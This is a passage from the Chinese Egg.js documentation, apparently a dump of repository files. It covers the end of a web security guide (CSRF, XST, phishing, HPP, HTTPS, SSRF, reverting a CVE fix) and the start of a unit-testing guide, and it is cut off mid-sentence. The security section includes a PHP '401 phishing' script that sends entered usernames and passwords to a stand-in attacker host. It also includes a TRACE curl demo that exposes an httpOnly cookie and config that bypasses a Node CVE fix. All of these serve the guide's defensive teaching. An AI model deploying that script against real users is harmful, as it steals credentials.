等框架都[放弃了该防范方式](https://www.djangoproject.com/weblog/2011/feb/08/security/)。\n\n框架结合了这些防范方式，提供了一个可配置的 CSRF 防范策略。\n\n#### 使用方式\n\n##### 同步表单的 CSRF 校验\n\n在同步渲染页面时，在表单请求中增加一个名为 `_csrf` 的 url query，其值为 `ctx.csrf`。这样用户在提交这个表单时会将 CSRF token 提交上来：\n\n```html\n<form\n  method=\"POST\"\n  action=\"/upload?_csrf={{ ctx.csrf | safe }}\"\n  enctype=\"multipart/form-data\"\n>\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">上传</button>\n</form>\n```\n\n可以在配置中修改传递 CSRF token 的字段：\n\n```js\n// config/config.default.js\nmodule.exports = {\n  security: {\n    csrf: {\n      queryName: '_csrf', // 通过 query 传递 CSRF token 的默认字段为 _csrf\n      bodyName: '_csrf', // 通过 body 传递 CSRF token 的默认字段为 _csrf\n    },\n  },\n};\n```\n\n为防范 [BREACH 攻击](http://breachattack.com/)，通过同步方式渲染到页面上的 CSRF token 在每次请求时都会变化。[@eggjs/view-nunjucks](https://github.com/eggjs/egg/tree/master/plugins/view-nunjucks) 等视图插件会自动对表单进行注入，开发者无需关心。\n\n##### AJAX 请求\n\n在 CSRF 默认配置下，token 会被设置在 Cookie 中。在 AJAX 请求时，可以从 Cookie 中获得 token，并将其放置于 query、body 或者 header 中发送服务端。\n\n在 jQuery 中：\n\n```js\nvar csrftoken = Cookies.get('csrfToken');\n\nfunction csrfSafeMethod(method) {\n  // 以下 HTTP 方法不需要 CSRF 保护\n  return /^(GET|HEAD|OPTIONS|TRACE)$/.test(method);\n}\n$.ajaxSetup({\n  beforeSend: function (xhr, settings) {\n    if (!csrfSafeMethod(settings.type) && !this.crossDomain) {\n      xhr.setRequestHeader('x-csrf-token', csrftoken);\n    }\n  },\n});\n```\n\n通过 header 传递 CSRF token 的字段也可以在配置中修改：\n\n```js\n// config/config.default.js\nmodule.exports = {\n  security: {\n    csrf: {\n      headerName: 'x-csrf-token', // 通过 header 传递 CSRF token 的默认字段为 x-csrf-token\n    },\n  },\n};\n```\n\n#### Session 与 Cookie 存储\n\n默认配置下，框架会将 CSRF token 存在 Cookie 中，便于 AJAX 请求获取。但由于所有子域名均能设置 Cookie，因此当不能保证所有子域名都受控时，存放在 Cookie 中可能存在 CSRF 攻击风险。框架提供配置项，允许将 token 存放到 Session 中。\n\n```js\n// config/config.default.js\nmodule.exports = {\n  security: {\n    csrf: {\n      useSession: true, // 默认为 false，当设置为 true 时，将把 csrf token 保存到 Session 中\n      cookieName: 'csrfToken', // Cookie 中的字段名，默认为 csrfToken\n      sessionName: 'csrfToken', // Session 中的字段名，默认为 csrfToken\n    },\n  },\n};\n```\n\n#### 忽略 JSON 请求（已废弃）\n\n**注意：该选项已废弃，攻击者可以[通过 flash + 307 来攻破](https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/)。请不要在生产环境中开启该选项！**\n\n在 SOP（同源策略）保护下，大部分现代浏览器不允许跨域发起 content-type 为 JSON 的请求，因此可以将此类型的 JSON 格式请求放行。\n\n```js\n// config/config.default.js\nmodule.exports = {\n  security: {\n    csrf: {\n      ignoreJSON: true, // 默认为 false，设置为 true 时，会忽略所有 content-type 为 `application/json` 的请求\n    },\n  },\n};\n```\n\n#### 刷新 CSRF token\n\n当 CSRF token 储存在 Cookie 中时，若在同一浏览器上发生用户切换，则新登录用户将使用旧 token（前一用户的），造成安全风险，故每次用户登录时**必须刷新 CSRF token**。\n\n```js\n// 登录控制器\nexports.login = function* (ctx) {\n  const { username, password } = ctx.request.body;\n  const user = yield ctx.service.user.find({ username, password });\n  if (!user) ctx.throw(403);\n  ctx.session = { user };\n\n  // 调用 rotateCsrfSecret 刷新 CSRF token\n  ctx.rotateCsrfSecret();\n\n  ctx.body = { success: true };\n};\n```\n\n## 安全威胁 XST 的防范\n\n[XST](https://www.owasp.org/index.php/XST) 的全称是 Cross-Site Tracing（跨站追踪）。客户端发起 TRACE 请求至服务器，如果服务器标准地实现了 TRACE 响应，则在响应体中会返回此次请求的完整头信息。通过这种方式，客户端可以获取某些敏感的头字段，例如 httpOnly 的 Cookie。\n\n下面我们基于 Koa 来实现一个简单的支持 TRACE 方法的服务器：\n\n```javascript\nvar koa = require('koa');\nvar app = koa();\n\napp.use(function* (next) {\n  this.cookies.set('a', 1, { httpOnly: true });\n  if (this.method === 'TRACE') {\n    var body = '';\n    for (var header in this.headers) {\n      body += header + ': ' + this.headers[header] + '\\r\\n';\n    }\n    this.body = body;\n  }\n  yield* next;\n});\n\napp.listen(7001);\n```\n\n启动服务后，先发送 GET 请求 `curl -i http://127.0.0.1:7001`，可以看到如下响应：\n\n```\nHTTP/1.1 200 OK\nX-Powered-By: koa\nSet-Cookie: a=1; path=/; httponly\nContent-Type: text/plain; charset=utf-8\nContent-Length: 2\nDate: Thu, 06 Nov 2014 05:04:42 GMT\nConnection: keep-alive\n\nOK\n```\n\n服务器设置了一个 httpOnly 的 Cookie 值为 `1`，在浏览器环境中无法通过脚本获取它。\n\n接着我们发送 TRACE 请求到服务器 `curl -X TRACE -b a=1 -i http://127.0.0.1:7001`，并带上 Cookie，得到如下响应：\n\n```\nHTTP/1.1 200 OK\nX-Powered-By: koa\nSet-Cookie: a=1; path=/; httponly\nContent-Type: text/plain; charset=utf-8\nContent-Length: 73\nDate: Thu, 06 Nov 2014 05:07:47 GMT\nConnection: keep-alive\n\nuser-agent: curl/7.37.1\nhost: 127.0.0.1:7001\naccept: */*\ncookie: a=1\n```\n\n在响应体中可以看到完整的头信息，这样就绕过了 httpOnly 的限制，拿到了 `cookie=1`，造成了很大的安全风险。\n\n### 拓展阅读\n\n- [HTTP/1.1: Method Definitions](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html)\n- [Cross-Site Tracing (XST) - The Misunderstood Vulnerability](http://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/)\n\n### 防范方式\n\n框架已经禁止了 TRACE、TRACK、OPTIONS 三种危险类型的请求。\n\n## 安全威胁 `钓鱼攻击` 的防范\n\n钓鱼有多种方式，这里介绍 url 钓鱼、图片钓鱼和 iframe 钓鱼。\n\n### url 钓鱼\n\n服务端未对传入的跳转 url 变量进行检查和控制，可能导致可恶意构造任意一个恶意地址，诱导用户跳转到恶意网站。\n由于是从可信的站点跳转出去的，用户会比较信任，所以跳转漏洞一般用于钓鱼攻击。通过转到恶意网站欺骗用户输入用户名和密码盗取用户信息，或欺骗用户进行金钱交易；\n也可能引发的 XSS 漏洞（主要是跳转常常使用 302 跳转，即设置 HTTP 响应头，Locatioin: url，如果 url 包含了 CRLF，则可能隔断了 HTTP 响应头，使得后面部分落到了 HTTP body，从而导致 XSS 漏洞）。\n\n### 防范方式\n\n- 若跳转的 url 事先是可以确定的，包括 url 和参数的值，则可以在后台先配置好，url 参数只需传对应 url 的索引即可，通过索引找到对应具体 url 再进行跳转；\n- 若跳转的 url 事先不确定，但其输入是由后台生成的（不是用户通过参数传入），则可以先生成好跳转链接然后进行签名；\n- 若 1 和 2 都不满足，url 事先无法确定，只能通过前端参数传入，则必须在跳转的时候对 url 进行按规则校验：判断 url 是否在应用授权的白名单内。\n\n框架提供了安全跳转的方法，可以通过配置白名单避免这种风险。\n\n- `ctx.redirect(url)` 如果不在配置的白名单内，则禁止。\n- `ctx.unsafeRedirect(url)` 一般不建议使用，明确了解可能带来的风险后使用。\n\n安全方案覆盖了默认的 `ctx.redirect` 方法，所有的跳转均会经过安全域名的判断。\n\n用户如果使用 `ctx.redirect` 方法，需要在应用的配置文件中做如下配置：\n\n```js\n// config/config.default.js\nexports.security = {\n  domainWhiteList: ['.domain.com'], // 安全白名单，以 . 开头\n};\n```\n\n若用户没有配置 `domainWhiteList` 或者 `domainWhiteList` 数组内为空，则默认会对所有跳转请求放行，即等同于 `ctx.unsafeRedirect(url)`。\n\n### 图片钓鱼\n\n如果可以允许用户向网页里插入未经验证的外链图片，这可能出现钓鱼风险。\n\n比如常见的 `401钓鱼`，攻击者在访问页面时，页面弹出验证页面让用户输入帐号及密码，当用户输入之后，帐号及密码就存储到了黑客的服务器中。\n通常这种情况会出现在 `<img src=$url />` 中，系统不对 `$url` 是否在域名白名单内进行校验。\n\n攻击者可以在自己的服务器中构造以下代码：\n\n401.php：作用为弹出 401 窗口，并且记录用户信息。\n\n```php\n  <?php\n      header('WWW-Authenticate: Basic realm=\"No authorization\"');\n      header('HTTP/1.1 401 Unauthorized');\n          $domain = \"http://hacker.com/fishing/\";\n          if ($_SERVER['PHP_AUTH_USER'] !== null) {\n                  header(\"Location: \".$domain.\"record.php?a=\".$_SERVER['PHP_AUTH_USER'].\"&b=\".$_SERVER['PHP_AUTH_PW']);\n          }\n  ?>\n```\n\n之后攻击者生成一个图片链接 `<img src=\"http://xxx.xxx.xxx/fishing/401.php?a.jpg//\" />`。\n\n当用户访问时，会弹出信息让用户点击，用户输入的用户名及密码会被黑客的服务器偷偷记录。\n\n### 防范方式\n\n框架提供了 `.surl()` 宏做 url 过滤。\n\n用于在 html 标签中要解析 url 的地方（比如 `<a href=\"\"/>` `<img src=\"\"/>`），其他地方不允许使用。\n\n对模板中要输出的变量，加 `helper.surl($value)`。\n\n**注意：在需要解析 url 的地方，surl 外面一定要加上双引号，否则就会导致 XSS 漏洞。**\n\n不使用 surl\n\n```html\n<a href=\"$value\" />\n```\n\noutput:\n\n```html\n<a href=\"http://www.safe.com<script>\" />\n```\n\n使用 surl\n\n```html\n<a href=\"helper.surl($value)\" />\n```\n\noutput:\n\n```html\n<a href=\"http://www.safe.com&lt;script&gt;\" />\n```\n\n### iframe 钓鱼\n\n[iframe 钓鱼](https://www.owasp.org/index.php/Cross_Frame_Scripting)，通过内嵌 iframe 到被攻击的网页中，攻击者可以引导用户去点击 iframe 指向的危险网站，甚至遮盖，影响网站的正常功能，劫持用户的点击操作。\n\n框架提供了 `X-Frame-Options` 这个安全头来防止 iframe 钓鱼。默认值为 SAMEORIGIN，只允许同域把本页面当作 iframe 嵌入。\n\n当需要嵌入一些可信的第三方网页时，可以关闭这个配置。\n\n## 安全威胁 HPP 的防范\n\nHttp Parameter Pollution（HPP），即 HTTP 参数污染攻击。在 HTTP 协议中是允许同样名称的参数出现多次，而由于应用的实现不规范，攻击者通过传播参数的时候传输 key 相同而 value 不同的参数，从而达到绕过某些防护的后果。\n\nHPP 可能导致的安全威胁有：\n\n- 绕过防护和参数校验。\n- 产生逻辑漏洞和报错，影响应用代码执行。\n\n### 拓展阅读\n\n- [Testing for HTTP Parameter pollution (OTG-INPVAL-004)](<https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)>)\n- [HTTP 参数污染的危害](http://blog.csdn.net/eatmilkboy/article/details/6761407)\n- [详细介绍 HPP 攻击](https://media.blackhat.com/bh-us-11/Balduzzi/BH_US_11_Balduzzi_HPP_WP.pdf)\n- [ebay 因参数污染存在 RCE（远程命令执行）漏洞案例](http://secalert.net/2013/12/13/ebay-remote-code-execution/)\n\n### 如何防范\n\n框架本身会在客户端传输 key 相同而 value 不同的参数时，强制使用第一个参数，因此不会导致 HPP 攻击。\n\n## 中间人攻击与 HTTP/HTTPS\n\nHTTP 是网络应用广泛使用的协议，负责 Web 内容的请求和获取。然而，内容请求和获取时会经过许多中间人，主要是网络环节，充当内容入口的浏览器、路由器厂商、WIFI 提供商、通信运营商，如果使用了代理、翻墙软件则会引入更多中间人。由于 HTTP 请求的路径、参数默认情况下均是明文的，因此这些中间人可以对 HTTP 请求进行监控、劫持、阻挡。\n\n在没有 HTTPS 时，运营商可在用户发起请求时直接跳转到某个广告，或者直接改变搜索结果插入自家的广告。如果劫持代码出现了 BUG，则直接让用户无法使用，出现白屏。\n\n数据泄露、请求劫持、内容篡改等问题，核心原因在于 HTTP 是全裸式的明文请求，域名、路径和参数都被中间人们看得一清二楚。HTTPS 做的就是给请求加密，保障用户利益的同时避免本属于自己的流量被挟持，以保护自身利益。\n\n尽管 HTTPS 并非绝对安全，掌握根证书的机构、掌握加密算法的组织同样可以进行中间人形式的攻击。不过，HTTPS 是现行架构下最安全的解决方案，并且它大幅增加了中间人攻击的成本。\n\n因此，请使用 Egg 框架开发网站的开发者务必推动自己的网站升级到 HTTPS。\n\n对于 HTTPS 来讲，还有一点要注意的是 HTTP 严格传输安全（HSTS）。如果不使用 HSTS，当用户在浏览器中输入网址时没有加 HTTPS，浏览器会默认使用 HTTP 访问。\n\n框架默认关闭了 `hsts Strict-Transport-Security`，以免 HTTPS 站点跳转到 HTTP。如果站点支持 HTTPS，请一定要开启。\n\n如果我们的 Web 站点是 HTTP 站点，需要关闭这个头。配置如下：\n\n- `maxAge` 默认一年 `365 * 24 * 3600`。\n- `includeSubdomains` 默认 `false`，可以添加子域名，确保所有子域名都使用 HTTPS 访问。\n\n## 安全威胁 SSRF 的防范\n\n通过 [Server-Side Request Forgery (SSRF)](https://www.owasp.org/index.php/Server_Side_Request_Forgery) 攻击，攻击者可以发起网络请求访问或操作内部网络的资源。\n\n一般来说，SSRF 安全漏洞常见于开发者在服务端直接请求客户端传递进来的 URL 资源，一旦攻击者传入一些内部 URL，就可发起 SSRF 攻击。\n\n### 如何防范\n\n通常，我们会基于内网 IP 黑名单形式来防范 SSRF 攻击。通过对解析域名后得到的 IP 进行过滤，禁止访问内部 IP 地址来达到防范的目的。\n\n框架在 `ctx`、`app` 和 `agent` 上都提供了 `safeCurl` 方法。在发起网络请求的同时会过滤指定的内网 IP 地址，该方法与框架提供的 `curl` 方法用法一致。\n\n- `ctx.safeCurl(url, options)`\n- `app.safeCurl(url, options)`\n- `agent.safeCurl(url, options)`\n\n#### 配置\n\n直接调用 `safeCurl` 方法并没有任何作用，还需要配合安全配置项：\n\n- `ipBlackList`（Array）配置内网 IP 黑名单，这些网段内的 IP 地址无法被访问。\n- `checkAddress`（Function）配置一个检查 IP 地址的函数。根据函数返回值判断是否允许在 `safeCurl` 中访问，当返回非 `true` 时，该 IP 无法被访问。`checkAddress` 优先级高于 `ipBlackList`。\n\n```javascript\n// config/config.default.js\nexports.security = {\n  ssrf: {\n    ipBlackList: [\n      '10.0.0.0/8', // 支持 IP 网段\n      '0.0.0.0/32',\n      '127.0.0.1', // 支持指定 IP 地址\n    ],\n    // 配置了 checkAddress 时，ipBlackList 不会生效\n    checkAddress(ip) {\n      return ip !== '127.0.0.1';\n    },\n  },\n};\n```\n\n## 其他安全工具\n\n### ctx.isSafeDomain(domain)\n\n判断是否为安全域名。安全域名在配置中进行配置，见 `ctx.redirect` 部分。\n\n### app.injectCsrf(str)\n\n此函数提供模板预处理功能——自动插入 CSRF key。可以在所有 form 标签中自动插入 CSRF 隐藏域，用户就不需要手动添加。\n\n### app.injectNonce(str)\n\n若网站开启了 CSP 安全头，并且想使用 `CSP 2.0 nonce` 特性，可使用此函数。请参考 [CSP 是什么](https://www.zhihu.com/question/21979782)。\n\n此函数会扫描模板中的 `script` 标签，并自动添加 nonce 属性。\n\n### app.injectHijackingDefense(str)\n\n对于未开启 HTTPS 的网站，此函数可以有效防止运营商劫持。\n\n## Revert CVE\n\n在 node.js 的安全修复中可能会造成 Breaking change，例如在 18.9.1 版本中修复了一个安全漏洞，导致了一些加密相关的代码无法正常运行。为了解决这个问题，我们提供了一个 `revert` 的参数，在启动时转换为 `--security-revert` 参数，可以绕过 CVE 的修复。\n\n```json\n// package.json\n{\n  \"egg\": {\n    // 支持两种配置方式\n    // 一种是直接使用字符串，指定一个 CVE\n    \"revert\": \"CVE-2023-46809\",\n    // 另一种是使用字符串数组，可以指定多个 CVE\n    \"revert\": [\"CVE-2023-46809\"]\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/zh-CN/core/unittest.md",
    "content": "# 单元测试\n\n## 为什么要单元测试\n\n先问我们自己以下几个问题：\n\n- 你的代码质量如何度量？\n- 你是如何保证代码质量？\n- 你敢随时重构代码吗？\n- 你是如何确保重构的代码依然保持正确性？\n- 你是否有足够信心在没有测试的情况下随时发布你的代码？\n\n如果答案都比较犹豫，那么就证明我们非常需要单元测试。\n\n它能带给我们很多保障：\n\n- 代码质量持续有保障\n- 重构正确性保障\n- 增强自信心\n- 自动化运行\n\nWeb 应用中的单元测试更加重要，Web 产品快速迭代的时期，每个测试用例都为应用的稳定性提供了保障。API 升级时，测试用例可以很好地检查代码是否向下兼容。对于各种可能的输入，一旦测试覆盖，都能明确它的输出。代码改动后，可以通过测试结果判断代码的改动是否影响了已确定的结果。\n\n所以，应用的 Controller、Service、Helper、Extend 等代码，都必须有对应的单元测试以保证代码质量。当然，框架和插件的每个功能改动和重构都需要有相应的单元测试，并且要求尽量做到修改的代码能被 100% 覆盖到。\n\n## 测试框架\n\n从 [npm 搜索”test framework”](https://www.npmjs.com/search?q=test%20framework&page=1&ranking=popularity) 我们会发现有大量测试框架存在，每个测试框架都有它的独特之处。\n\n### Vitest\n\n从 `@eggjs/bin` v8 开始，Egg 使用 [Vitest](https://vitest.dev) 作为默认的测试运行器。Vitest 是基于 Vite 的下一代测试框架，提供原生 TypeScript 支持、快速执行和现代化的测试体验。\n\n> Vitest 是一个基于 Vite 的极速单元测试框架，提供原生 ESM 支持，开箱即用的 TypeScript 支持，以及 Vite 驱动的转换管道。\n\n主要优势：\n\n- **原生 TypeScript 支持** — 无需 ts-node 或额外的 loader\n- **快速执行** — 利用 Vite 的转换管道\n- **内置 watch 模式** — 开发时即时反馈\n- **兼容的 API** — 支持 `describe`、`it`、`beforeAll`、`afterAll` 等\n- **内置覆盖率** — 通过 `@vitest/coverage-v8`，无需外部工具\n\n### Mocha（旧版）\n\n`@eggjs/bin` 之前的版本（v7 及更早）使用 [Mocha](http://mochajs.org) 作为测试运行器。如果你从 Mocha 迁移，请注意以下钩子名称变更：\n\n| Mocha          | Vitest                 |\n| -------------- | ---------------------- |\n| `before()`     | `beforeAll()`          |\n| `after()`      | `afterAll()`           |\n| `beforeEach()` | `beforeEach()`（相同） |\n| `afterEach()`  | `afterEach()`（相同）  |\n\n## 断言库\n\n我们推荐使用 Node.js 内置的 [assert](https://nodejs.org/api/assert.html) 模块进行断言。它遵循『无 API 是最好的 API』的原则——简单、熟悉，且无需额外依赖。\n\n```js\nimport assert from 'node:assert';\n\nassert(result.status === 200);\nassert.equal(user.name, 'fengmk2');\nassert.deepStrictEqual(data, { foo: 'bar' });\n```\n\nVitest 也提供了内置的 `expect` API，如果你偏好 BDD 风格的断言：\n\n```js\nimport { expect } from 'vitest';\n\nexpect(result.status).toBe(200);\nexpect(user.name).toBe('fengmk2');\n```\n\n## 测试约定\n\n为了让我们更多地关注测试用例本身如何编写，而不是耗费时间在如何运行测试脚本等辅助工作上，框架对单元测试做了一些基本约定。\n\n### 测试目录结构\n\n我们约定 `test` 目录为存放所有测试脚本的目录，测试所使用到的 `fixtures` 和相关辅助脚本都应该放在此目录下。\n\n测试脚本文件统一按 `${filename}.test.js` 命名，必须以 `.test.js` 作为文件后缀。\n\n以下为一个应用的测试目录示例：\n\n```bash\ntest\n├── controller\n│   └── home.test.js\n├── hello.test.js\n└── service\n    └── user.test.js\n```\n\n### 测试运行工具\n\n统一使用 [egg-bin 运行测试脚本](https://github.com/eggjs/egg-bin#test)，内部使用 [Vitest](https://vitest.dev) 运行测试。egg-bin 自动配置 vitest 的合理默认值，让我们**聚焦精力在编写测试代码**上，而不是纠结选择哪些测试周边工具和模块。\n\negg-bin 提供的主要功能：\n\n- 自动检测 TypeScript 并配置 vitest\n- 自动加载 `test/.setup.ts`（或 `.setup.js`）作为 setup 文件\n- 对于 egg 应用，自动注入 `@eggjs/mock/setup_vitest`（处理 app 生命周期）\n- 注入 vitest 全局变量（`describe`、`it`、`beforeAll` 等），纯 JS 测试文件无需导入\n\n只需在 `package.json` 上配置好 `scripts.test` 即可。\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"egg-bin test\"\n  }\n}\n```\n\n然后就可以按标准的 `npm test` 来运行测试了。\n\n```bash\nnpm test\n\n> unittest-example@ test /Users/mk2/git/github.com/eggjs/examples/unittest\n> egg-bin test\n\n ✓ test/hello.test.js (1 test) 10ms\n\n Test Files  1 passed (1)\n      Tests  1 passed (1)\n```\n\n### 环境变量\n\negg-bin 提供了以下环境变量来控制 vitest 的运行行为：\n\n| 环境变量               | 可选值              | 默认值    | 说明                                                                                                                                                                                                                         |\n| ---------------------- | ------------------- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `EGG_VITEST_POOL`      | `threads` / `forks` | `threads` | Vitest 工作池类型。`threads` 使用 worker_threads，启动更快；`forks` 使用子进程，提供完全隔离。设为 `threads` 时，`@eggjs/mock` 会自动切换为 `worker_threads` 启动模式，使 cluster-client 使用基于线程的 IPC 而非进程间通信。 |\n| `EGG_VITEST_ISOLATE`   | `true` / `false`    | `false`   | 是否在独立环境中隔离测试文件。设为 `false`（共享模式）时，同一 worker 内所有测试文件共享同一个 app 实例，显著提升测试速度。设为 `true` 时，每个测试文件拥有独立的隔离环境。                                                  |\n| `EGG_FILE_PARALLELISM` | `true` / `false`    | `false`   | 是否跨 worker 并行运行测试文件。设为 `false` 时，测试文件按顺序执行。                                                                                                                                                        |\n\n可以在 `package.json` scripts 中设置，也可以通过命令行参数传入：\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"egg-bin test\",\n    \"test:forks\": \"EGG_VITEST_POOL=forks egg-bin test\",\n    \"test:isolate\": \"EGG_VITEST_ISOLATE=true egg-bin test\"\n  }\n}\n```\n\n或使用 `--pool` 参数：\n\n```bash\negg-bin test --pool forks\n```\n\n> **注意：** 在共享模式（`EGG_VITEST_ISOLATE=false`）下，静态变量和内存状态会在测试文件间持久化。请确保在 `afterEach` 钩子中清理共享状态，避免测试间的状态污染。\n\n## 准备测试\n\n本文主要介绍了如何编写应用的单元测试，关于框架和插件的单元测试请查看[框架开发](https://eggjs.org/zh-cn/advanced/framework.html)和[插件开发](https://eggjs.org/zh-cn/advanced/plugin.html)相关章节。\n\n### mock\n\n正常来说，如果要完整手写一个创建和启动 app 的脚本，还是需要写一段初始化脚本的，并且还需要在测试结束后进行一些清理工作，比如删除临时文件、销毁 app 等。\n\n我们可能还需要模拟各种网络异常、服务访问异常等特殊情况。\n\n因此我们单独为框架抽取了一个测试 mock 辅助模块：**`@eggjs/mock`**（历史上也常被称为 egg-mock）。有了它我们就可以非常快速地编写应用单元测试，并且还能快速创建 ctx 来测试属性、方法和 Service 等。\n\n- 仓库（Egg 3.x）：https://github.com/eggjs/mock/tree/4.x\n- 也可以参考：[测试 Mock 工具（@eggjs/mock / mm）](./mock.md)\n\n### app\n\n在测试运行之前，我们首先要创建应用的一个 app 实例，通过它来访问需要被测试的 Controller、Middleware、Service 等应用层代码。\n\n通过 `@eggjs/mock`，结合 `beforeAll` 钩子，可以便捷地创建出一个 app 实例。\n\n```typescript\n// test/controller/home.test.ts\nimport assert from 'node:assert';\nimport { mock } from '@eggjs/mock';\nimport { beforeAll, describe } from 'vitest';\n\ndescribe('test/controller/home.test.ts', () => {\n  let app;\n  beforeAll(async () => {\n    // 创建当前应用的 app 实例\n    app = mock.app();\n    // 等待 app 启动成功，才能执行测试用例\n    await app.ready();\n  });\n});\n```\n\n这样我们就拿到了一个 app 的引用，接下来所有测试用例都会基于这个 app 进行。更多关于创建 app 的信息请查看 [`mock.app(options)`](https://github.com/eggjs/egg-mock#appoptions) 文档。\n\n考虑到每个测试文件都需要这样创建 app 实例会非常冗余，因此 `@eggjs/mock` 提供了一个 bootstrap 文件，直接从其上面获取常用的实例：\n\n```typescript\n// test/controller/home.test.ts\nimport { app, mock } from '@eggjs/mock/bootstrap';\nimport assert from 'node:assert';\n\ndescribe('test/controller/home.test.ts', () => {\n  // 测试用例\n});\n```\n\n> **提示：** 使用 egg-bin 时，`@eggjs/mock/setup_vitest` 会被自动注入为 vitest 的 setup 文件。它会自动处理 `beforeAll`（启动 app）、`afterEach`（恢复 mock）和 `afterAll`（关闭 app）。\n\n### ctx\n\n除了 app，我们还需要一种便捷的方式来获得 ctx，以便进行 Extend、Service、Helper 等测试。\n已经通过上述方法拿到了一个 app，结合 egg-mock 提供的 [`app.mockContext(options)`](https://github.com/eggjs/egg-mock#appmockcontextoptions) 方法可以快速创建一个 ctx 实例。\n\n```typescript\nit('should get a ctx', () => {\n  const ctx = app.mockContext();\n  assert(ctx.method === 'GET');\n  assert(ctx.url === '/');\n});\n```\n\n如果要模拟 `ctx.user`，也可以通过给 mockContext 传递数据参数实现：\n\n```typescript\nit('should mock ctx.user', () => {\n  const ctx = app.mockContext({\n    user: {\n      name: 'fengmk2',\n    },\n  });\n  assert(ctx.user);\n  assert(ctx.user.name === 'fengmk2');\n});\n```\n\n现在我们已经拿到了 app，也知道如何创建一个 ctx，可以开始进行更多的单元测试了。\n\n## 测试执行顺序\n\n特别需要注意的是执行顺序，应确保在执行某个用例时，相关代码才被执行。\n\n一些常见的错误写法如下：\n\n```ts\n// Bad\nimport { app } from '@eggjs/mock/bootstrap';\n\ndescribe('bad test', () => {\n  doSomethingBefore();\n\n  it('should redirect', () => {\n    return app.httpRequest().get('/').expect(302);\n  });\n});\n```\n\n测试框架在开始运行时将载入所有的测试用例，此时 describe 方法会被调用，那么 `doSomethingBefore` 也就提前被触发了。如果期望通过 only 方式执行某个特定测试用例，那段代码依然会被执行，这是不符合预期的。\n\n一个正确的做法是将其放入 `beforeAll` 中，只有在运行这个测试套件中的某个用例时，相关代码才会执行。\n\n```ts\n// Good\nimport { app } from '@eggjs/mock/bootstrap';\n\ndescribe('good test', () => {\n  beforeAll(() => doSomethingBefore());\n\n  it('should redirect', () => {\n    return app.httpRequest().get('/').expect(302);\n  });\n});\n```\n\nVitest 通过 `beforeAll`/`afterAll`/`beforeEach`/`afterEach` 来处理前置和后置任务，这几个钩子基本上能处理所有的问题。每个测试用例会按照如下顺序执行：`beforeAll` -> `beforeEach` -> `it` -> `afterEach` -> `afterAll`，并且可以定义多个。\n\n```ts\ndescribe('egg test', () => {\n  beforeAll(() => console.log('order 1'));\n  beforeAll(() => console.log('order 2'));\n  afterAll(() => console.log('order 6'));\n  beforeEach(() => console.log('order 3'));\n  afterEach(() => console.log('order 5'));\n  it('should worker', () => console.log('order 4'));\n});\n```\n\n## 异步测试\n\negg-bin 支持异步测试，它提供了多种方式：\n\n```js\n// 使用返回 Promise 的方法\nit('should redirect', () => {\n  return app.httpRequest().get('/').expect(302);\n});\n\n// 使用回调函数的方法\nit('should redirect', (done) => {\n  app.httpRequest().get('/').expect(302, done);\n});\n\n// 使用 async\nit('should redirect', async () => {\n  await app.httpRequest().get('/').expect(302);\n});\n```\n\n根据不同的应用场景，应当选择适合的写法。如果遇到多个异步操作，可以使用 async 函数，或者可以把它们拆分成多个测试用例。\n修改后的内容：\n\n## Controller 测试\n\nController 在整个应用代码里面属于较为难测试的部分。因为它与 router 配置紧密相关，所以我们需要利用 `app.httpRequest()` 接口结合 [SuperTest](https://github.com/visionmedia/supertest) 发起真实请求，来将 Router 与 Controller 连接起来。同时，它可以帮助我们发送各种满足边界条件的请求数据，以此测试 Controller 参数校验的完整性。 `app.httpRequest()` 是由 [egg-mock](https://github.com/eggjs/egg-mock) 封装的 SuperTest 请求实例。\n\n例如，我们要为 `app/controller/home.js` 编写单元测试：\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('homepage', '/', controller.home.index);\n};\n\n// app/controller/home.js\nclass HomeController extends Controller {\n  async index() {\n    this.ctx.body = 'hello world';\n  }\n}\n```\n\n其对应的测试代码 `test/controller/home.test.js` 如下：\n\n```ts\nimport { app } from '@eggjs/mock/bootstrap';\nimport assert from 'node:assert';\n\ndescribe('test/controller/home.test.ts', () => {\n  describe('GET /', () => {\n    it('应该返回状态码为 200 并获取到内容', () => {\n      // 对 app 发起 `GET /` 请求\n      return app\n        .httpRequest()\n        .get('/')\n        .expect(200) // 期望返回状态码为 200\n        .expect('hello world'); // 期望响应内容为 hello world\n    });\n\n    it('应该发送多个请求', async () => {\n      // 使用 async 方式编写测试用例，可以在一个用例中串行发起多次请求\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200) // 期望返回状态码 200\n        .expect('hello world'); // 期望响应内容为 hello world\n\n      // 再次请求\n      const result = await app\n        .httpRequest()\n        .get('/')\n        .expect(200)\n        .expect('hello world');\n\n      // 也可以这样验证\n      assert(result.status === 200);\n    });\n  });\n});\n```\n\n通过基于 SuperTest 的 `app.httpRequest()` 我们可以轻松发起 GET、POST、PUT 等 HTTP 请求。它拥有非常丰富的请求数据构造接口，例子如下，我们可以以 POST 方式发送一个 JSON 请求：\n\n```js\n// app/controller/home.js\nclass HomeController extends Controller {\n  async post() {\n    this.ctx.body = this.ctx.request.body;\n  }\n}\n\n// test/controller/home.test.js\nit('应该返回状态码 200 并获取到请求体', () => {\n  // 模拟 CSRF token，下文会详细说明\n  app.mockCsrf();\n  return app\n    .httpRequest()\n    .post('/post')\n    .type('form')\n    .send({\n      foo: 'bar',\n    })\n    .expect(200)\n    .expect({\n      foo: 'bar',\n    });\n});\n```\n\n更详尽的 HTTP 请求构造方式，请查看 [SuperTest 文档](https://github.com/visionmedia/supertest#getting-started)。\n\n### 模拟 CSRF\n\n框架的默认安全插件会自动启用 [CSRF 防护](./security.md#安全威胁csrf的防范)。如果要完全按照 CSRF 校验逻辑进行测试，那么代码必须首先发起一次页面请求，通过解析 HTML 获得 CSRF token，再利用此 token 发起 POST 请求。\n\n因此，egg-mock 为 app 添加了 `app.mockCsrf()` 方法，用于模拟获取 CSRF token 的过程。这样，我们就可以在利用 